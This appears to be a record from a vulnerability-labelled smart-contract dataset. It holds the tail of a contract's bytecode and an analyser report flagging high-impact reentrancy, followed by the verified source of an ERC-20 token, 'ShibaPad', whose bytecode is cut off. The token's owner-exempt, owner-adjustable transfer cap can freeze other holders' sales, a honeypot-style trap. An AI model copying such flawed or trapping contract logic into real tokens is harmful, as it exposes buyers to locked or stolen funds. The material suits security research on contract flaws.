25059190613d16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125939190613d16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126219190613c35565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061266d816130dc565b61267784836132a1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126d49190613ac8565b60405180910390a3505050505050505050565b6000806000806000806126f98761307a565b95509550955095509550955085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127509190613d16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127de9190613c35565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286c9190613c35565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128b8816130dc565b6128c284836132a1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161291f9190613ac8565b60405180910390a3505050505050505050565b6000806000806000806129448761307a565b95509550955095509550955086600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b9190613d16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a299190613d16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ab79190613c35565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b459190613c35565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b91816130dc565b612b9b84836132a1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612bf89190613ac8565b60405180910390a3505050505050505050565b600080600080600080612c1d8761307a565b95509550955095509550955085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c749190613d16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d029190613c35565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d4e816130dc565b612d5884836132a1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612db59190613ac8565b60405180910390a3505050505050505050565b6000806000600e549050600066038d7ea4c68000905060005b60098054905081101561303a57826001600060098481548110612e0757612e06613f01565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180612ef55750816002600060098481548110612e8d57612e8c613f01565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15612f1157600e5466038d7ea4c6800094509450505050613076565b6001600060098381548110612f2957612f28613f01565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612f9a9190613d16565b92506002600060098381548110612fb457612fb3613f01565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826130259190613d16565b9150808061303290613e29565b915050612de1565b5066038d7ea4c68000600e546130509190613c8b565b82101561306d57600e5466038d7ea4c68000935093505050613076565b81819350935050505b9091565b60008060008060008060008060006130978a6010546011546132cd565b92509250925060008060006130b58d86866130b061232e565b613339565b9250925092508282828888889b509b509b509b509b509b5050505050505091939550919395565b60006130e661232e565b9050600081836130f69190613cbc565b90508060016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131659190613c35565b60016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508260026000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132379190613c35565b60026000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b81600e546132af9190613d16565b600e8190555080600f546132c39190613c35565b600f819055505050565b600080600080606486886132e19190613cbc565b6132eb9190613c8b565b90506000606486896132fd9190613cbc565b6133079190613c8b565b9050600081838a6133189190613d16565b6133229190613d16565b905080838395509550955050505093509350939050565b600080600080848861334b9190613cbc565b90506000858861335b9190613cbc565b90506000868861336b9190613cbc565b9050600081838561337c9190613d16565b6133869190613d16565b9050838184965096509650505050509450945094915050565b60006133b26133ad84613bb4565b613b8f565b905080838252602082019050828560208602820111156133d5576133d4613f64565b5b60005b8581101561340557816133eb888261340f565b8452602084019350602083019250506001810190506133d8565b5050509392505050565b60008135905061341e8161418a565b92915050565b6000815190506134338161418a565b92915050565b600082601f83011261344e5761344d613f5f565b5b813561345e84826020860161339f565b91505092915050565b600081519050613476816141a1565b92915050565b60008135905061348b816141b8565b92915050565b6000815190506134a0816141b8565b92915050565b6000602082840312156134bc576134bb613f6e565b5b60006134ca8482850161340f565b91505092915050565b6000602082840312156134e9576134e8613f6e565b5b60006134f784828501613424565b91505092915050565b6000806040838503121561351757613516613f6e565b5b60006135258582860161340f565b92505060206135368582860161340f565b9150509250929050565b60008060006060848603121561355957613558613f6e565b5b60006135678682870161340f565b93505060206135788682870161340f565b92505060406135898682870161347c565b9150509250925092565b600080604083850312156135aa576135a9613f6e565b5b60006135b88582860161340f565b92505060206135c98582860161347c565b9150509250929050565b6000602082840312156135e9576135e8613f6e565b5b600082013567ffffffffffffffff81111561360757613606613f69565b5b61361384828501613439565b91505092915050565b60006020828403121561363257613631613f6e565b5b600061364084828501613467565b91505092915050565b60008060006060848603121561366257613661613f6e565b5b600061367086828701613491565b935050602061368186828701613491565b925050604061369286828701613491565b9150509250925092565b60006136a883836136b4565b60208301905092915050565b6136bd81613d4a565b82525050565b6136cc81613d4a565b82525050565b60006136dd82613bf0565b6136e78185613c13565b93506136f283613be0565b8060005b8381101561372357815161370a888261369c565b975061371583613c06565b9250506001810190506136f6565b5085935050505092915050565b61373981613d5c565b82525050565b61374881613db3565b82525050565b600061375982613bfb565b6137638185613c24565b9350613773818560208601613dc5565b61377c81613f73565b840191505092915050565b6000613794602a83613c24565b915061379f82613f84565b604082019050919050565b60006137b7602283613c24565b91506137c282613fd3565b604082019050919050565b60006137da602083613c24565b91506137e582614022565b602082019050919050565b60006137fd602983613c24565b91506138088261404b565b604082019050919050565b6000613820602583613c24565b915061382b8261409a565b604082019050919050565b6000613843602483613c24565b915061384e826140e9565b604082019050919050565b6000613866601783613c24565b915061387182614138565b602082019050919050565b6000613889601183613c24565b915061389482614161565b602082019050919050565b6138a881613d88565b82525050565b6138b781613da6565b82525050565b60006020820190506138d260008301846136c3565b92915050565b60006040820190506138ed60008301856136c3565b6138fa60208301846136c3565b9392505050565b600060408201905061391660008301856136c3565b613923602083018461389f565b9392505050565b600060c08201905061393f60008301896136c3565b61394c602083018861389f565b613959604083018761373f565b613966606083018661373f565b61397360808301856136c3565b61398060a083018461389f565b979650505050505050565b60006020820190506139a06000830184613730565b92915050565b600060208201905081810360008301526139c0818461374e565b905092915050565b600060208201905081810360008301526139e181613787565b9050919050565b60006020820190508181036000830152613a01816137aa565b9050919050565b60006020820190508181036000830152613a21816137cd565b9050919050565b60006020820190508181036000830152613a41816137f0565b9050919050565b60006020820190508181036000830152613a6181613813565b9050919050565b60006020820190508181036000830152613a8181613836565b9050919050565b60006020820190508181036000830152613aa181613859565b9050919050565b60006020820190508181036000830152613ac18161387c565b9050919050565b6000602082019050613add600083018461389f565b92915050565b600060a082019050613af8600083018861389f565b613b05602083018761373f565b8181036040830152613b1781866136d2565b9050613b2660608301856136c3565b613b33608083018461389f565b9695505050505050565b6000606082019050613b52600083018661389f565b613b5f602083018561389f565b613b6c604083018461389f565b949350505050565b6000602082019050613b8960008301846138ae565b92915050565b6000613b99613baa565b9050613ba58282613df8565b919050565b6000604051905090565b600067ffffffffffffffff821115613bcf57613bce613f30565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613c4082613d88565b9150613c4b83613d88565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613c8057613c7f613ea3565b5b828201905092915050565b6000613c9682613d88565b9150613ca183613d88565b925082613cb157613cb0613ed2565b5b828204905092915050565b6000613cc782613d88565b9150613cd283613d88565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613d0b57613d0a613ea3565b5b828202905092915050565b6000613d2182613d88565b9150613d2c83613d88565b925082821015613d3f57613d3e613ea3565b5b828203905092915050565b6000613d5582613d68565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600067ffffffffffffffff82169050919050565b600060ff82169050919050565b6000613dbe82613d88565b9050919050565b60005b83811015613de3578082015181840152602081019050613dc8565b83811115613df2576000848401525b50505050565b613e0182613f73565b810181811067ffffffffffffffff82111715613e2057613e1f613f30565b5b80604052505050565b6000613e3482613d88565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613e6757613e66613ea3565b5b600182019050919050565b6000613e7d82613d92565b915067ffffffffffffffff821415613e9857613e97613ea3565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61419381613d4a565b811461419e57600080fd5b50565b6141aa81613d5c565b81146141b557600080fd5b50565b6141c181613d88565b81146141cc57600080fd5b5056fea2646970667358221220c2685f2ce2e11b01709e7af15c118e33c657fce94115665c9c15b6066a3b587a64736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,051
0x61987cC42277c7049767D9De49145366F9906323
/** *Submitted for verification at Etherscan.io on 2021-05-25 */ // SPDX-License-Identifier: MIT // pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ShibaPad is Ownable, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply = 0; string private _name = 'ShibaPad '; string private _symbol = 'SPAD'; uint8 private _decimals = 18; uint256 public maxTxAmount = 1000000000000000e18; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor () public { _mint(_msgSender(), 1000000000000000e18); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(sender != owner() && recipient != owner()) require(amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount."); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function setMaxTxAmount(uint256 _maxTxAmount) external onlyOwner() { require(_maxTxAmount >= 10000e9 , 'maxTxAmount should be greater than 10000e9'); maxTxAmount = _maxTxAmount; } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638c0b5e2211610097578063a9059cbb11610066578063a9059cbb146104ae578063dd62ed3e14610512578063ec28438a1461058a578063f2fde38b146105b857610100565b80638c0b5e22146103755780638da5cb5b1461039357806395d89b41146103c7578063a457c2d71461044a57610100565b8063313ce567116100d3578063313ce5671461028e57806339509351146102af57806370a0823114610313578063715018a61461036b57610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ec57806323b872dd1461020a575b600080fd5b61010d6105fc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061069e565b60405180821515815260200191505060405180910390f35b6101f46106bc565b6040518082815260200191505060405180910390f35b6102766004803603606081101561022057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c6565b60405180821515815260200191505060405180910390f35b61029661079f565b604051808260ff16815260200191505060405180910390f35b6102fb600480360360408110156102c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107b6565b60405180821515815260200191505060405180910390f35b6103556004803603602081101561032957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610869565b6040518082815260200191505060405180910390f35b6103736108b2565b005b61037d610a38565b6040518082815260200191505060405180910390f35b61039b610a3e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103cf610a67565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561040f5780820151818401526020810190506103f4565b50505050905090810190601f16801561043c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104966004803603604081101561046057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b09565b60405180821515815260200191505060405180910390f35b6104fa600480360360408110156104c457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd6565b60405180821515815260200191505060405180910390f35b6105746004803603604081101561052857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bf4565b6040518082815260200191505060405180910390f35b6105b6600480360360208110156105a057600080fd5b8101908080359060200190929190505050610c7b565b005b6105fa600480360360208110156105ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dac565b005b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106945780601f1061066957610100808354040283529160200191610694565b820191906000526020600020905b81548152906001019060200180831161067757829003601f168201915b5050505050905090565b60006106b26106ab61103f565b8484611047565b6001905092915050565b6000600354905090565b60006106d384848461123e565b610794846106df61103f565b61078f8560405180606001604052806028815260200161178360289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061074561103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b611047565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061085f6107c361103f565b8461085a85600260006107d461103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb790919063ffffffff16565b611047565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108ba61103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461097a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60075481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aff5780601f10610ad457610100808354040283529160200191610aff565b820191906000526020600020905b815481529060010190602001808311610ae257829003601f168201915b5050505050905090565b6000610bcc610b1661103f565b84610bc7856040518060600160405280602581526020016117f46025913960026000610b4061103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b611047565b6001905092915050565b6000610bea610be361103f565b848461123e565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c8361103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d43576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6509184e72a000811015610da2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611731602a913960400191505060405180910390fd5b8060078190555050565b610db461103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e74576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610efa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806116c36026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611035576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806117d06024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273fffffffffffffffffffffffffffffffff